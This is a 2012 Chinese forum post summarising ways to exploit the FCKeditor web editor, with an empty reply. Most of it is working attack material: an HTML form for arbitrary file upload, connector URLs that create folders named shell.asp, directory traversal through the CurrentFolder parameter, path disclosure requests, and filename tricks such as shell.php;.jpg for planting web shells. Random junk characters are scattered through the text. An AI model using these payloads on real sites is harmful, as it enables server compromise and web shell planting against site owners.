找回密码
 立即注册
查看: 3157|回复: 1
打印 上一主题 下一主题

FCKeditor漏洞利用总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 20:23:31 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Fckeditor漏洞利用总结

查看编辑器版本/ \" k  W* P% G
FCKeditor/_whatsnew.html7 X! p; l" o8 [& v' }
—————————————————————————————————————————————————————————————

2. Version 2.2 版本
: n8 o2 n6 C) s5 {' Y& V7 |Apache+linux 环境下在上传文件后面加个.突破!测试通过。
. J- x2 k; E8 R; F—————————————————————————————————————————————————————————————

3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。$ x: E' i! A1 @2 e& P  Y+ Y4 i  M8 U% T
<form id="frmUpload" enctype="multipart/form-data"- {' p, }" Q; x/ m5 W  S/ O
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>2 v7 L- o0 U% H) K
<input type="file" name="NewFile" size="50"><br>
0 J5 v" |, O' _" c& D<input id="btnUpload" type="submit" value="Upload"># `4 Q  |9 }* r( @' F6 L
</form># H6 k7 c7 H& W) E% d  }
—————————————————————————————————————————————————————————————

4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
. [0 ?) s, A. a  k- q        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。9 b5 X) L' R3 n+ z" r( s
    4.1:提交shell.php+空格绕过
# C3 w+ v  T. v2 D6 a8 [! W: d不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
5 `" l  {- u  L/ q& j7 I    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。: M8 n: S- C! J( y' H0 S7 `; v
—————————————————————————————————————————————————————————————

5. 突破建立文件夹. f# z& L0 V* u3 Z2 v, B
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
3 i  B9 v7 g( n8 jFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
1 ]' K' O: E5 h—————————————————————————————————————————————————————————————

6. FCKeditor 中test 文件的上传地址
* h: J" c& z' G: aFCKeditor/editor/filemanager/browser/default/connectors/test.html
/ d5 [0 t; S5 g- B! e" J) q# TFCKeditor/editor/filemanager/upload/test.html
  B8 W! l# d$ e+ w, w5 C: n$ |FCKeditor/editor/filemanager/connectors/test.html) e! @4 [  w3 T- f% y9 f  U
FCKeditor/editor/filemanager/connectors/uploadtest.html
7 R6 ], R6 b0 m$ }—————————————————————————————————————————————————————————————
! w0 U: E0 Y  c, n

7.常用上传地址
# B2 O0 W8 ^" i% UFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/' p+ V+ K. ?. o+ B. Q
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp1 V7 s! N7 g2 u/ T5 `
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)4 O0 Q6 ?" k7 c) L  B
JSP 版:
" {2 L: ?- D! Q$ y1 w5 NFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
' i* X: O  Q% R# s* K注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文" i, U0 ~2 a6 o  ]
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
6 |9 r( b6 ?1 S4 V5 k0 s4 `+ O; ^—————————————————————————————————————————————————————————————

8.其他上传地址8 K0 S8 P& C, d) L2 n% g
FCKeditor/_samples/default.html1 {1 B4 `/ k( I% a# w# o
FCKeditor/_samples/asp/sample01.asp
) m6 a8 t% ~) }" _" y: s; gFCKeditor/_samples/asp/sample02.asp
# {; ^9 R, L8 @2 Q  H7 p" {FCKeditor/_samples/asp/sample03.asp; W5 b9 K" O' P8 z0 Y: N' _* c
FCKeditor/_samples/asp/sample04.asp; j$ Y; P$ S  ?- _( h8 \0 J
一般很多站点都已删除_samples 目录,可以试试。/ u+ m( s5 k. Y1 H) f% Z  D, o
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。. f# T  M5 Z9 r7 l- x+ v& d
—————————————————————————————————————————————————————————————

9.列目录漏洞也可助找上传地址: g  s$ C- u: o. P. }
Version 2.4.1 测试通过
" o# Z4 ~$ Y+ ~: v修改CurrentFolder 参数使用 ../../来进入不同的目录) z* T! ?0 P4 |* r. \* T
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp1 J% z0 ]- P/ Y3 o) Q1 t; z
根据返回的XML 信息可以查看网站所有的目录。
2 ]" L$ v+ o/ y) n$ g( {5 w. WFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F' s, j/ }' X$ T
也可以直接浏览盘符:
2 ]+ z2 m9 f6 N3 e$ i/ _" Y$ {JSP 版本:
  p$ n" s4 z7 ?FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
$ i$ ?' f7 Q$ b: C2 ?# p) h—————————————————————————————————————————————————————————————

10.爆路径漏洞; W% g) V, ~# h! l( @
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
5 F! K/ J% i8 Q1 e2 _. Q7 B4 c—————————————————————————————————————————————————————————————

11. FCKeditor 被动限制策略所导致的过滤不严问题# l  G  E/ X5 W% I8 W7 c
        影响版本: FCKeditor x.x <= FCKeditor v2.4.3' ?. w  B" I/ c* H: L- D
脆弱描述:' h8 F/ p8 A4 ^$ ^
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:4 d- I6 E/ X6 _) x6 L% \2 l. \
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
1 n6 _8 U: N. {4 bFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
, \5 {) W8 E  h3 P        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
) V5 r! w( f. L' l% {3 @        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!

回复

使用道具 举报

沙发
发表于 2012-9-8 22:43:14 | 只看该作者

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表